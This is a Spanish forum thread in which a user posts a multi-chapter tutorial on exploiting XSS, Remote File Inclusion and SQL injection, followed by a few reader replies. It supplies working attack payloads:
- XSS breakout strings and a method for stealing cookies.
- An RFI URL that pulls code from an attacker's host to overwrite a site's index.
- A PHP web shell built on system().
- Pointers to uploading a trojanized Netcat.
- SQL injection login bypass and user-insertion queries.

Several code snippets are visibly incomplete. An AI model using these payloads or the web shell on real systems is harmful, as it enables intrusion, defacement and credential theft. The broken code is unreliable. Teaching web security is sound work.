 Autor
|
Tema: <-!-> Taller de introduccion a los bugs a nivel web (Leído 32,218 veces)
|
zhynar_X
 Desconectado
Mensajes: 515
Use linux my friend...
|
Hola a todos, en este taller aprenderéis lo básico sobre las vulnerabilidades a nivel web. Veremos las vulnerabilidades Cross Site Scripting (XSS), Remote File Inclusion (RFI) y SQL injection. En cada capítulo pondré ejercicios prácticos que servirán para que el tema quede mas claro. Haré un capítulo cada dos o tres días, si algún día por cualquier motivo no puedo espero que me disculpen  Si tenéis alguna duda no la preguntéis en este post para que pueda seguir el taller, cuando acabe ya podréis poner dudas y lo que queráis, mientras el taller no haya acabado podéis preguntarlas en otro post. INTRODUCCIÓN:Empezare haciendo una introduccion para que queden claros algunos conceptos, si hay algo que no comprendeis siempre podéis usar google o wkipedia y seguro que todo queda claro. Supongo que todos sabréis lo que es un bug, un exploit, una vulnerabilidad,... pero por si alguien no lo sabe lo definiré: -Bug: Un bug no es mas que un simple fallo de programación, muchos os preguntareis, ¿como puedo hackear un pc solo porque tenga un simple fallo? pues, según el tipo de bug que sea, hay bugs explotables y otros que no se puede explotar, un bug explotable podríamos usarlo para inyectar algún tipo de código que nos de acceso a la maquina, bueno no me voy a enrollar mas con el tema... -Vulnerabilidad: Muchos piensan que un bug y una vulnerabilidad es lo mismo, pues estáis equivocados. Una vulnerabilidad es un bug explotable, que lo podemos usar para sacar algún tipo de provecho, en este taller estudiaremos algunas vulnerabilidades a nivel web. -Exploit: Muchos lo abaréis oído, un exploit es un método, programa, código que permite sacar algun tipo de beneficio explotando una vulnerabilidad, podríamos obtener una shell remota, elevar los privilegios o detener algún proceso, todo depende del propósito del que usa el exploit. No se si hoy podré tener hecho ya el primer capitulo si no lo tengo lo pondré mañana, empezaremos con la vulnerabilidad Cross Site Scripting (XSS). Saludos y espero que les guste. |
|
|
|
« Última modificación: 12 Agosto 2008, 16:20 pm por sirdarckcat »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Hola, siento no haber podido tener este capitulo ayer, espero que lo disfruten y aprendan. Capítulo 1: Introducción a Cross Site Scripting.Hoy voy a explicar la vulnerabilidad XSS. Las herramientas y conocimientos necesarios son:
- Conocimientos sobre HTML
- Saber lo mínimo sobre javascript.
- Estría bien saber php, pero no es tan necesario.
- También seria útil disponer de un servidor web con php instalado.
- Algo también muy importante es tener una cabeza bien equipada, aunque con un ojo y algo de cerebro sobra.
- Y por supuesto también es necesario tener ganas de aprender.
Empecemos! XSS significa Cross Site Scripting, no lo abreviaron en CSS para no confundirlo con las hojas de estilo en cascada. Aveces también se le llama HTML injection pero esto no es correcto, lo correcto es llamarle XSS o Corss Site Scripting. Esta vulnerabilidad es un fallo en el sistema de validacion de HTML incrustrado y consiste en inyectar código HTML y javascript donde no debería haberlo y así conseguir algún provecho, normalmente esta vulnerabilidad se usa para el robo de cookies, para hacer phishing y desfaces en los foros. Se suele encontrar en los buscadores de la web. Hay dos clases de XSS, la indirecta y la directa. La indirecta es la menos censurada y la menos explotada, y la directa es mas difícil de encontrar ya que se suele filtrar mas. Haré una definición mas exacta: -Directa: Esta es muy divertida! pero es muy difícil de encontrar una vulnerabilidad de este tipo. Se encuentra en los foros, libros de visita y webs que se puedan modificar por medio de formularios. Con una vulnerabilidad como esta siempre que alguien entre a la parte del foro donde se ha inyectado el código, se ejecutara en su navegador y hara lo que tenga que hacer, mucha gente usa esta vulnerabilidad para hacer un deface usando una etiqueta <div> que cubra toda la web o con un script que la redireccione a tu sitio. -Indirecta: Este tipo de XSS es muy fácil de encontrar en motores de búsqueda sobre todo, en esta el código se inyecta a través de formularios, URL, cookies, programas en Flash o incluso en vídeos. Esta vulnerabilidad es mas dificil sacarle provecho ya que tenemos que conseguir que alguien entre en el enlace malicioso, mas adelante se vera lo que es un enlace malicioso. Ahora imaginemos un buscador de texto dentro de una web, podemos poner cualquier cosa y la web nos respondería: "Lo que hayas puesto no se ha encontrado, repita su búsqueda", donde pone "lo que hayas puesto" podríamos poner otra cosa como <h1>Hola</h1> y si es vulnerable el navegador lo interpreta como parte del código HTML y saldría hola en letras grandes, pero envés de poner "<h1>hola</h1>" podemos insertar un código que hiciese que cuando alguien entre le robe las cookies y las almacene en otro servidor. Si la web pasa la variable del buscador mediante GET (es lo mas común) podemos generar una URL maliciosa y hacer que alguien entrase y así le robaríamos las cookies, la URL seria algo como esto: http://www.webvulnerable.es?buscar=codigo_insertado
No os asustéis si no ha quedado muy claro porque vamos con un ejemplo: Código de la web desde donde se envía el formulario: <FORM METHOD="get" ACTION="xss.php"> <INPUT TYPE="text" NAME="vuln"> <INPUT TYPE="submit" VALUE="enviar">
Ahora el código que recibe las variables de este formulario (xss.php): <?php $var = $_GET["vuln"]; echo "Has escrito: ".$var; ?>
Si no tenéis servidor con php instalado para poder hacer la prueba he subido el formulario a una web: http://tallervulneravilidades.iespana.es/xss, podéis hacer todas las pruebas que quieras con esta web. Supongo que si sabéis php entiendes los códigos, si no saben los explicaré. En el primer código hay que fijarse en la etiqueta <FORM>: <FORM METHOD="get" ACTION="xss.php">
El método GET significa que envía los datos a través de la URL, supongo que ya os abareis dado cuanta de eso, y el método POST los envía sin usar la URL, action dice que le envía los datos a "xss.php", que es el código que analizaremos ahora. El segundo código recoge los datos enviados y los escribe en la pantalla. Esta función recoge los del cuadro de texto con nombre "vuln" y los almacena en $var. echo "Has escrito: ".$var;
Este código escribe en la pantalla "Has escrito: " seguido de la variable $var. Supongo que ahora si habrá quedado bien claro. Ahora os dejo una tarea, tenéis que explotar la siguiente vulnerabilidad de XSS, si no lo consegis pondré la respuesta en el siguiente capitulo. Este es el código de la vulnerabilidad: <!-- Codigo de "index.html" //--> <H2>Ejercicio 1: Vulnerabilidad XSS </H2> <H4>Aquí lo que escribes sale dentro de una caja de texto, así que no se ejecuta el código, lo que hay que hacer para que el código se ejecute es romper la caja de texto para que el código quede fuera de ella. </H4> <FORM ACTION="xss.php" METHOD="get"> <INPUT TYPE="text" NAME="vuln"> <INPUT TYPE="submit" VALUE="Enviar">
Ahora pongo el codigo del programa que recibe las variables (xss.php): <?php $var = $_GET["vuln"]; ?> <FORM> <BR> Has escrito: <INPUT TYPE="text" VALUE="<?php echo $var; ?>"> </FORM>
( En la URL "buscar" es la variable a la que le asignamos "codigo_insertado", que es el que escribe al decir que no encuntra lo que buscamos. Ej: "Su busqueda: codigo_insertado no ha sido encontrasa, repita la busqueda") Si no tenéis server web con php podéis hacer el ejercicio aquí: http://tallervulneravilidades.iespana.es/ejerxssBueno aquí acaba por hoy, en dos o tres días seguiré con el taller con la continuación de XSS. Saludos! PORFAVOR NO ESCRIBAN MENASAGES EN ESTE POST HASTA QUE ACABE EL TALER, GRACIAS!.
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Hola, este capitulo lo he acabado antes de los dos días que dije, así que para que esperar... Capítulo 2: Cross Site Scripting.En este capitulo seguiremos con el XSS, pero antes de nada explicaré la solución al ejercicio que puede en el anterior capítulo sobre inyectar código dentro de una caja de texto. Respuesta al ejercicio 1:El ejercicio no era tan difícil, solo había que pensar un poco en el código de los formularios para poner una caja de texto: <INPUT TYPE="text" VALUE="<?php echo $var ?>">
Ya nos habremos dado cuenta de que el código se inserta dentro de la propiedad VALUE=" ", así que para explotar la vulnerabilidad de este modo solo tendríamos que cerrar la propiedad VALUE y la etiqueta, ¿¡COMO!? Muy simple, fijaros en este código (El color azul representa el código que ya estaba y el rojo el inyectado):
<INPUT TYPE="text" VALUE=""><SCRIPT>alert(5);</SCRIPT>">
Al principio del código inyectado pone ">, esto hace que cierre el atributo VALUE y la etiqueta, así todo lo que escribamos detrás quedara fuera de la caja de texto. Espero que todos lo hayáis entendido bien, como supongo que es así seguiremos con el tema de XSS.
Antes explicamos la inyección XSS por medio de formularios, ahora explicara como inyectar código por medio de la URL. Esto es realmente sencillo, consiste en modificar las variables que se envia mediante GET a otra pagina y si la otra pagina los escribe por pantalla ya tenemos la vulnerabilidad. Miren este ejemplo: Pagina index.html: <A HREF="xss.php?var=hola">HOLA </A> <A HREF="xss.php?var=adios">ADIOS </A>
Codigo de xss.php: <?php $bug = $_GET["var"]; echo "Has escrito: ".$bug; ?>
Aqui esta la URL donde esta este programa: http://tallervulneravilidades.iespana.es/xssaEn este código no hay ningún formulario para inyectar texto, pero si que le pasa variables atraves de la URL, así que podemos modificar esta variable y poner lo que queramos. Con la URL maliciosa solo hace falta un poco de ingeniería social para enviarsela a alguien, entre y se ejecute el código en su navegador. Quedaria algo asi: http://www.webvuln.es/xss.php?var=lo que queramos
Hay muchos métodos para inyectar código en una aplicaron web, por ejemplo es muy común poner programas en flash que contienen scripts o también es bastante común hacer lo mismo pero con vídeos. Otra forma de conseguir inyectar código es mediante las cookies, antes que nada definiré que es una cookie. -Cookie: Una cookie no es mas que un fragmento de texto que contiene información. Cuando nos registramos en alguna web el servidor le envía una cookie al navegador que contiene nuestro loggin, el navegador la guarda en nuestro disco duro y así cuando entramos nos loggeamos estomáticamente. Ahora que ya sabemos lo que es una cookie explicaré como inyectar codigo mediante ellas, este método es mas complicado pero bueno... Imaginemos un libro de visitas como el fotolog (una pena que fotolog no sea vulnerable xD), cuando escribimos un mensaje el navegador envía a nuestro pc una cookie con nuestro nombre y así la próxima vez que enviemos un comentario carga la cookie y escribe estomáticamente nuestro nombre de este modo: echo "Comentario por: ".$user;
(user es el valor de la cookie) Normalmente las webs no filtran el código recibido a través de las cookies así que solo tenemos que modificar la cookie y envez de nuestro nombre poner el código que queramos que se ejecute. Esto va a todos los webmasters: Si tenéis alguna web y encontráis una vulnerabilidad de XSS NO hagáis como muchos otros y dejéis de darle inportancia ya que eso compromete la seguridad de vuestros usuarios y visitantes. Para filtrar un ataque de XSS busquen por google algún filtro, aquí tienen un manual para evitar estos ataques http://foro.elhacker.net/index.php/topic,45693.0.html.Antes de acabar les pondre un ejercico. Consiste en explotar la Vulnerabilidad de XSS, es muy facil: http://tallervulneravilidades.iespana.es/xssbAqui acaba el capitulo de hoy y también acabamos con el XSS, en el próximo capitulo empezaremos con el RFI o Remote File Inclusion. Saludos! |
|
|
|
« Última modificación: 25 Julio 2007, 22:17 pm por zhynar_X »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Capítulo 3: Introduccion a Remote File Inclusion.Hola, hoy vais a aprender a explotar la vulnerabilidad Remote File Inclusion (RFI), esta vulnerabilidad no afecta solamente a la seguridad de los usuarios sino también la del servidor ya que nos permite modificar archivos de la pagina, pero antes pondré la solución al ejercicio del capítulo anterior, se que era demasiado fácil pero tengo muy poca imanación xD. Como ya he dicho antes no tenia ninguna dificultad. La web decía que el código que habías escrito era invisible, es cierto, el código estaba dentro de una caja de texto de tipo hidden, así: Lo que has escrito no se puede ver... <input type="hidden" value="texto escrito">
Ahora solo tenemos que cerrar la caja de texto "invisible" y el texto quedara fuera de ella. Antes de pasar al RFI quiero decir una cosa sobre el XSS que se me olvido decir en el anterior capitulo. En algunas webs, sobretodo en foros y libros de visitas, no se permite usar la etiqueta <script></script> pero podemos hacer el uso de otras etiquetas para incluir código, como la etiqueta <iframe> que permite contener otra web dentro de ella. Podemos hacer un código como este: <iframe src="http://www.miweb.com/codigomalicioso.html"></iframe>
Ahora que ya sabemos lo mas básico sobre XSS pasaremos a aprender a explotar la vulnerabilidad RFI. Estos son los materiales y conocimientos necesarios:
1- Esta vez si necesitaremos un servidor web con php.
2- Es lógico que también es necesario saber php.
3- Y por supuesto también hay que tener ganas de aprender.
Esto es todo, empecemos! Esta vulnerabilidad como su nombre indica se trata de incluir archivos remotos en documentos hechos en php. La función "include();" de php permite incluir archivos dentro del mismo documento como si fuesen parte del texto, esta función se puede usar de dos formas:
Forma 1----> include("web.html"); Así el documento no seria vulnerable porque no permite cambiar el archivo a incluir.
Forma 2----> include($variable); Esta es la forma vulnerable, ya que podemos modificar la variable mediante la URL.
Esta vulnerabilidad se suele encontrar en webs que usan esta función en los enlaces. Por ejemplo imaginemos una web que muestra un la publicidad, el logo, la parte donde se muestra el contenido principal y un menú. En el menú hay enlaces para moverse por el interior de la web, pero estos enlaces no llevan a otra web lo que hacen es que cambian el valor de la variable de "include($var);", nosotros podemos modificar ese valor como queramos y incluir dentro un documento con el código que queramos. Si tenéis server web con php instalado usar este código para hacer pruebas (no puedo subir el codigo a la web de pruebas porque mediante esta vulnerabilidad podríais borrar los demás ejemplos o incluir algún código malicioso) Código de index.html <A HREF="rfi.php?cont=hola.html">Hola! </A> <A HREF="rfi.php?cont=adios.html">Adios! </A>
No pondre el codigo de "hola.html" ni el de "adios.html" porque puede ser cualquier tonteria sin inportancia. Codigo de rfi.php <?php $var = $_GET["cont"]; include($var); ?>
Ahora si queremos incluir un archivo solo tenemos que hacer: http://www.webvuln.es/fri.php?cont=http://www.miweb.com/code.txt
Tehabras dado cuenta que hemos incluido un archivo .txt, eso es porque si incluimos un archivo .php se ejecutaria en el server onde esta el archivo y no en el de la web vulnerable, así que podríamos incluir un archivo de esta formaí: code.txt: <?php echo "<h1>Vulnerable a RFI</h1>"; ?>
Aquí acabamos por hoy, en el próximo capitulo veremos como crear una shell remota con esta vulnerabilidad. Ejercicio: Ya he dicho antes que no podía subir las pruebas de RFI, así que como ejercicio les dejo que intenten modificar el index de la prueba que hemos hecho antes aprovechandose del la Vulnerabilidad. En el siguiente capitulo os dire la respuesta. Saludos y hasta la proxima!
|
|
|
|
« Última modificación: 20 Febrero 2008, 13:47 pm por zhynar_X »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Hola de nuevo, siento haber tardado tanto en poner este capitulo ya que estoy sin internet. Hoy veremos como conseguir una shell remota mediante la Vulnerabilidad RFI y también veremos la respuesta al ejercicio del capitulo anterior. Capitulo 4: Remote File InclusionComo modificar un archivo mediante un FRI: ¡No seais lammers y no os deifiquéis a destruir servidores que no son vuestrosNo es nada complicado, ya que lo único que hay que saber es manejar archivos con php. Utilizaremos el ejemplo del anterior capitulo: <?php $var = $_GET["cont"]; include($var); ?>
Solo tendríamos que crear un archivo que cambie el contenido de index.html, subirlo a un servidor web y incluirlo dentro de la web vulnerable. El archivo que modifica el index podría ser algo así: vuln.txt (como ya vimos no podemos usar extensión .php): <?php $a = fopen("index.php","w"); $b = "<center><h1>Vulnerable a XSS</h1></center>"; fwite($a,$b); ?>
Para incluirlo solo tendríamos que hacer así: http://www.webvulnerable.com/rfi.php?cont=http://www.nuestrositio.net/vuln.txt
Como podéis comprobar esto es muy fácil, ahora veremos como obtener una shell remota a traves de esta Vulnerabilidad. Para usar comandos de la shell se usan las funciones system(); y exec(); (muchas webs los tienen desactivados por seguridad), por ejemplo si la web esta bajo una plataforma windows podríamos usar este código para ver el contenido de una carpeta con nombre "datos" dentro del server: code.txt <?php echo $a; ?>
Como veis es muy fácil solo hay que saber usar la shell de cada plataforma.Yo solo se usar la de windows, aunque es preferible saber usar la de linux, ya que la gran mayoría de servers se usan bajo una plataforma linux. Aquí os dejos algunos comandos de cada una:
-Para windows os dejo mi totoral de programacion BATCH, donde se explican bastantes comandos de la shell de windows: http://foro.elhacker.net/index.php/topic,167525.0.html
-Para linux pondré una lista de los comandos mas básicos sacada de un totoral de FRI que leí hecho por n3c0:
Comandos útiles:tar -cf backup.tar directorio --->Respaldar un directorio CD ---> Comando que nos permite saltar de un directorio a otro LS ---> Comando que nos permitira obtener un listado de los archivos del directorio CAT ---> Sirve para visualizar la estructura y codigo de un archivo WGET URL ---> Comando para tranferir (subir) archivos curl -O url ---> Comando para tranferir (subir) archivos -opcion 2- RM archivo---> Sirve para eliminar archivos MKDIR directorio ---> Con esto creamos un directorio TOUCH ---> Creamos un archivo CP ---> Copiar ./archivo ---> Ejecutar Aquí les dejo también un programa en php que acabo de crear para enviar comandos a la consola: <form action="cmd.php" method=post> <h1>Consola de comandos en php </h1> Comando: <input type=text name="cmd"> <input type=submit value="Enviar"> Respuesta del comando: <br><?php $com = $_POST["cmd"]; if (! $com) { echo "No se ha escrito ningun comando"; } else { $res = system($com); echo $res; } ?>
Creo que este codigo es facil de comprender, si no lo comprendeis lo explicare brebemente. El formulario envia el comando a esta misma pagina, que se llama "cmd.php".Se mira si tiene algo escrito, si lo tiene ejecuta el comando y escribe en la pantalla el resultado que se obtiene, si no hay nada escrito en el comando simplemente escribe que no has escrito ningun comando. Seguramente muchos preferiran una consola normal antes que este programa, pues solo tendriamos que subir el Netcat troyanizado mediante TFTP, ejecutarlo y ya tenemos nuestra shell. Les dejo tutoriales de troyanizar el Netcat y de como usar TFTP: -Jugando con Nc por WHK----> http://foro.elhacker.net/index.php/topic,159799.0.html-Guia de hacking (aqui explica muchas mas cosas aparte de el uso de TFTP) por zhyzura----> http://foro.elhacker.net/index.php/topic,113046.0.htmlCreo que ya he explicado lo suficiente sobre RFI, el proximo capitulo tratara sobre SQL injection. Tardaré bastante en publicar el siguiente capítulo por que como he dicho antes no tengo internet. Saludos! |
|
|
|
« Última modificación: 4 Septiembre 2007, 02:45 am por zhynar_X »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Hola de nuevo, siento haber tardado tanto, he tendido unos "problemas" con el Internet... bueno pero ya me va bien otra vez y puedo seguir escribiendo. Hoy nos iniciaremos al tema del SQL injection. Capitulo 5: Empezando con SQL inyectionEl SQL injection o la inyección SQL (en español) es una vulnerabilidad muy común y peligrosa. Se basa en inyectar códigos en sentencias SQL, eso me recuerda mucho a BATCH injection no por el nombre sino por en que consiste, ¿os interesa el BATCH injection? pues pongo el manual de SirDarckat http://foro.elhacker.net/index.php/topic,167714.0.html , bueno vamos a lo que íbamos xD Para aprender a explotar esta vulnerabilidad se necesitan algunos conocimientos:
- Se necesita conocer el lenguaje SQL.
- Es conveniente saber php y HTML (No es imprescindible pero muy conveniente).
- Vendría bien tener un servidor web con mySQL y php instalado para hacer pruebas.
- Ganas de aprender!
SQL injection es un fallo en la valuación de entradas para realizar peticiones a las bases de datos, si habéis creado alguna web o cualquier otro programa que use una base de datos sabréis como se realiza una petición, en php seria una cosa así: $resp = mysql_query(identificador,"SELECT * FROM usuarios"); Esta consulta no seria vulnerable porque el usuario no puede introducir datos en ella, pero en las consultas donde el usuario puede introducir datos (normalmente son para verificar si coincide el user y pass) suelen ser vulnerables. Veamos un ejemplo de una consulta donde el usuario introduce su pass y su user: SELECT * FROM usuarios WHERE user='$user' AND pass='$pas'); (Esta es la consulta en SQL, se usara la función mysql_query(); de php para que devuelva los datos) Si devuelve algún dato es que el user y pass son correctos, si no devuelve ninguno es que no son correctos, y si los datos son correctos nos puede dar acceso a una zona solo para usuarios registrados o a cualquier otro sitio. Lógicamente la forma de acceder a ese sitio sin saber ni el user ni el pass es hacer que la función devuelva un valor, pero... ¿como lo conseguimos? No es nada difícil, supongo que os acordareis de que hacíamos para explotar un XSS dentro de un <input>, pues esto es parecido. En SQL los valores se ponen dentro de comillas simples, pues para modificar la consulta SQL debemos poner una comilla seguido del código, en el caso de que la consulta (sin modificar) solo compruebe que el user yu pass son correctos y si lo son nos de acceso a un sitio podemos usar OR (sirve para decir que se cumpla una condición u otra), la sentencia con el código inyectado quedaría algo así: (el color verde es el original y el rojo el inyectado) SELECT * FROM usuarios WHERE user='UnaPersona' AND pass=' ' OR '1'='1'
En el valor del usuario he puesto lo primero que se me ha pasado por la cabeza y en el valor de la contraseña he puesto una comilla simple para salir del campo del valor y después el código a inyectar, con el código que hemos inyectado conseguimos que la función siempre devuelva un valor y así poder entrar a la zona donde solo pueden entrar los usuarios registrados. Ahora haremos las pruebas con un ejemplo real: Codigo de index.html: <form action="sqlinj.php" method="post"> Usuario: <input type=text name=user><br>Contraseña: <input type=pasword name=pass><br><br>
Codigo de sqlinj.php: <?php $user = $_POST["user"]; $pass = $_POST["pass"]; $dir = "direccion_de_la_base_de_datos"; $use = "usuario"; $pas = "contraseña"; $resp = mysql_query("SELECT * FROM usuarios WHERE user='$user' AND pass='$pass' ",$conn); echo "<h1>Inicio de sesion correcto</h1>"; } else { echo "<h1>ERROR usuario o contraseña no validos</h1>"; } ?>
Aquí tenéis el enlace con la prueba: http://tallervulneravilidades.iespana.es/sqlinj/index.htmlADVERTENCIA: Parece que los de iespana usan un filtro para que no se pueden inyectar otras instrucciones, podéis hacer solo la prueba de ' or 1='1 y la de los comentarios. Como podemos comprobar esta web funciona como he descrito antes, de modo que podemos usar ' OR '1'='1 para "acceder", hay otras formas de conseguir entrar como por ejemplo inyectar un código que registre un usuario nuevo. Antes de ver esto veremos como hacer comentarios: Si en un código nos molesta una parte del código la "eliminamos" con un comentario ya que estos hacen que no se interprete la parte del código que le indicamos, por ejemplo podemos eliminar la molesta comilla que se queda siempre al final xD. Las formas de hacer comentarios son así: /* comentario */ ----> El comentario se pone entre una barra y otra, si no cerramos con la otra barra el código que continúe sera ignorado. # comentario ------> Todo lo que sigue de # sera ignorado. // cometario ---------> Igual que el anterior. -- comentario -------> Igual que los dos anteriores. Se que hay mas pero ahora mismo no los recuerdo, según la base de datos admite uno u otro. Una forma de eliminar la molesta comilla es así: También podemos hacer un comentario a mitad de la consulta usando /* y */, aquí pongo un ejemplo (la parte gris es lo comentado y el rojo el código inyectado): SELECT * FROM usuarios WHERE user='luis' /* AND pass=' ' */ # '
de este modo revolvería un valor si en usuario luís existe y no tendremos que poner su contraseña ni usar el truco de ' or 1='1. Ahora veamos como registrar usuarios nuevos y realizar cambios en una base de datos. En SQL podemos separar una consulta de otra mediante el ; creo que eso les habrá dado ya una idea, pero sin no os ha dado ninguna os la diré yo... Podemos inyectar otra consulta que cree un usuario nuevo y así podríamos acceder, al inyectar el código quedaría una cosa así: SELECT FROM usuarios user='pepe' AND pass='nolase '; INSERT INTO usuarios (user,pass) VALUES ('alfredo','abcd') # '
Como podemos observar hemos cerrado el campo pass con una comilla, después hemos puesto un ; para separar una instrucción de otra y después hemos inyectado nuestra instrucción "maligna" y con un comentario nos hemos librado de nuestra molesta comilla. Igual que hemos inyectado esa instrucción podemos inyectar cualquier otra. Con esto acabo este capitulo, en el próximo hablaré sobre Blind SQL inyection. De ejercicio tenéis que hacer un exploit básico usando un lenguaje de programacion web que permita registrar usuarios con el nombre que le indiquéis, también puede contener mas funciones. Saludos a todos!!! |
|
|
|
« Última modificación: 4 Septiembre 2007, 15:12 pm por zhynar_X »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo) |
|
|
olakease123
Desconectado
Mensajes: 9
|
Hola excelentes tutoriales,una duda,en RFI cree un archivo html y otro php como pone en el tuto pero ha la hora,de incluir una shell en txt me salta error,que puedo hacer? ,te paso imagen,pd solo quiero hacerlo para pruebas,no el mal  |
|
|
|
|
En línea
|
|
|
|
|
dRak0
|
No existe la pagina rfi.php en ese servidor.
|
|
|
|
|
En línea
|
|
|
|
olakease123
Desconectado
Mensajes: 9
|
ya,pero esque despues de leer el tutorial sobre rfi,dcidi crearlo tal y como aprese hay y no consegui crear la vulnerabilida :'C
|
|
|
|
|
En línea
|
|
|
|
|
 |
